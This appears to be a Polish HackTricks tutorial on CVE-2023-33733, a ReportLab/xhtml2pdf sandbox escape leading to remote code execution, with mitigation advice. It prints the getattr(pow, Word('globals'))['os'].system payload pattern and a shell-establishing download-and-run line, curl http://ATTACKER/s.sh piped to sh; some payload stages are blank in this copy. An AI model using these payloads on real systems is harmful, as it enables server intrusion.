ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona dokumentuje praktyczny sandbox escape i prymityw RCE w rl_safe_eval ReportLab używanym przez xhtml2pdf i inne pipeline'y generujące PDF, gdy renderują HTML kontrolowany przez użytkownika do PDF.
CVE-2023-33733 dotyczy ReportLab w wersjach do i włączając 3.6.12. W pewnych kontekstach atrybutów (na przykład color), wartości opakowane w triple brackets [[[ ... ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez spreparowanie payloadu, który pivotuje od białolistowanego builtin (pow) do jego funkcji Pythonowych globals, atakujący może dotrzeć do modułu os i wykonać polecenia.
Kluczowe punkty
- Trigger: wstrzyknięcie [[[ ... ]]] w oceniane atrybuty takie jak w markupie parsowanym przez ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval zastępuje niebezpieczne builtiny, ale oceniane funkcje nadal ujawniają globals.
- Bypass: utworzyć przejściową klasę Word, by obejść sprawdzanie nazw rl_safe_eval i uzyskać dostęp do łańcucha "globals" unikając filtrowania dunderów.
- RCE: getattr(pow, Word("globals"))["os"].system("
") - Stabilność: Zwrócić prawidłową wartość atrybutu po wykonaniu (dla color użyj and 'red').
Kiedy testować
- Aplikacje, które udostępniają eksport HTML→PDF (profile, faktury, raporty) i pokazują xhtml2pdf/ReportLab w metadanych PDF lub komentarzach odpowiedzi HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- Odpowiedź HTTP dla PDF często zaczyna się od komentarza generatora ReportLab
Jak działa obejście sandboxu
- rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, ...) i stosuje filtrowanie nazw, aby odrzucać atrybuty zaczynające się od __ lub znajdujące się na denyliście.
- Jednak bezpieczne funkcje żyją w słowniku globals dostępnych jako func.globals.
- Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (omijając wrapper ReportLab), następnie zdefiniuj klasę Word pochodzącą od str z zmienionym zachowaniem porównania tak, że:
- .startswith('') → zawsze False (ominięcie sprawdzenia name startswith(''))
- .eq zwraca False tylko przy pierwszym porównaniu (ominięcie sprawdzeń członkostwa w denyliście) i True potem (żeby Python getattr działał)
- .hash równa się hash(str(self))
- Dzięki temu getattr(pow, Word('globals')) zwraca dict globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Następnie: ['os'].system('
').
Minimalny schemat eksploatacji (przykład w atrybucie) Umieść payload wewnątrz ocenianego atrybutu i upewnij się, że zwraca prawidłową wartość atrybutu przez boolean and 'red'.
- Forma list-comprehension pozwala na pojedyncze wyrażenie akceptowalne przez rl_safe_eval.
- Końcowe and 'red' zwraca prawidłowy kolor CSS, więc renderowanie nie zostaje przerwane.
- Zastąp polecenie w razie potrzeby; użyj ping do weryfikacji wykonania przy pomocy tcpdump.
Operacyjny workflow
- Zidentyfikuj generator PDF
- PDF Producer pokazuje xhtml2pdf; odpowiedź HTTP zawiera komentarz ReportLab.
- Znajdź input odzwierciedlany w PDF (np. bio/profil/opis) i wywołaj eksport.
- Zweryfikuj wykonanie niskoszumowym ICMP
- Uruchom: sudo tcpdump -ni
icmp - Payload: ... system('ping <your_ip>') ...
- Windows często wysyła dokładnie cztery echo requests domyślnie.
- Ustanów shell
- Dla Windows, niezawodne podejście dwustopniowe unika problemów z cudzysłowami/kodowaniem:
- Stage 1 (pobranie):
- Stage 2 (wykonanie):
- Dla celów Linux, podobne dwustopniowe z curl/wget jest możliwe:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notatki i wskazówki
- Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w markupie ReportLab mogą również oceniać wyrażenia. Jeśli jedno miejsce jest sanitizowane, spróbuj innych renderowanych lokalizacji w przepływie PDF (różne pola, style tabel, itd.).
- Cytowanie: Utrzymuj polecenia kompaktowe. Dwustopniowe pobrania znacznie redukują problemy z cytowaniem i escape'owaniem.
- Niezawodność: Jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj payload (np. losowa ścieżka lub query), aby nie trafiać w cache.
Mitigacje i detekcja
- Uaktualnij ReportLab do 3.6.13 lub nowszego (CVE-2023-33733 naprawiony). Śledź również advisories bezpieczeństwa w pakietach dystrybucji.
- Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez ścisłej sanitacji. Usuń/odrzuć [[[...]]] konstrukty oceny i vendor-specific tagi, gdy input jest nieufny.
- Rozważ wyłączenie lub owinięcie użycia rl_safe_eval całkowicie dla nieufnych inputów.
- Monitoruj podejrzane połączenia wychodzące podczas generowania PDF (np. ICMP/HTTP z serwerów aplikacji podczas eksportu dokumentów).
References
- PoC and technical analysis: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD entry (affected versions): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.